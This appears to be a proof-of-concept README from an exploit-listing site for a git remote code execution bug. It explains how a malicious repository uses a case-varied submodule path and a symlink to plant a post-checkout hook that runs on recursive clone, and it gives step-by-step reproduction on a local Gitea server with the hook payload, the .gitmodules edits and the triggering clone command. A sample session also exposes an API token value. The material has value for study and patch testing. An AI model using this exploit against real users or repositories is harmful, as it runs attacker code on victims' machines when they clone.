## https://sploitus.com/exploit?id=9DF2AA34-EBE9-545E-8D39-FAA088A2E0E7
# We are adapting this for local use
we follow this blog post but with some key differences https://amalmurali.me/posts/git-rce
## How It Works
1. A malicious repository (`git_rce`) includes a submodule with a specially crafted path.
2. The submodule path uses a case variation that exploits the case-insensitive filesystem.
3. The submodule includes a symlink pointing to its `.git/` directory, which contains a malicious hook.
4. When the repository is cloned, the symlink is followed, and the malicious hook is executed, leading to RCE.
## Reproduction
โ ๏ธ Warning: Do not run this PoC on systems you do not own or do not have explicit permission to use. Unauthorized testing could result in unintended consequences.
we need to make an api token for gitea this can be found at `http://<YOUR_GITEA_SERVER_IP>:3000/user/settings/applications`
i gave the token access to everything in order to make sure everything worked
then we can run our poc.sh making sure to provide it with the prompted information such as the ip address and port for the gitea server the username and token for making the repositories
```
Enter the IP address or FQDN (without http://): localhost:3000
Enter your username: chris
Enter your API token: 3c57dbe1756734612f457b1fa08583df64fb5ea4
Enter the name for the first repository: hook
Enter the name for the second repository: main
```
also we need to edit lines 42-46 to contain the payload
```
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe #or replace with other poc
EOF
```
there is one more step we must go to the .`gitmodules` from the `main` to the `hook`
repository i manually went to the repo in git tea and changed the file
and then this did this
```
[submodule "x/y"]
path = A/modules/x
url = http://<your_git_tea_server>:3000/chris/hook.git
```
making sure that when i went to A/modules i could see something like this
then clicking that commit should show the other repo with the POC stuff in it when you click it
then we can take our url and this should work to trigger the exploit
```
git clone --recursive http://<your_git_tea_server>:3000/<your_user_name>/main.git
```
## Acknowledgments
Credit to [filip-hejsek](https://github.com/filip-hejsek) and [amalmurali47](https://github.com/amalmurali47) for discovering this vulnerability and having a blog post and repository to adapt from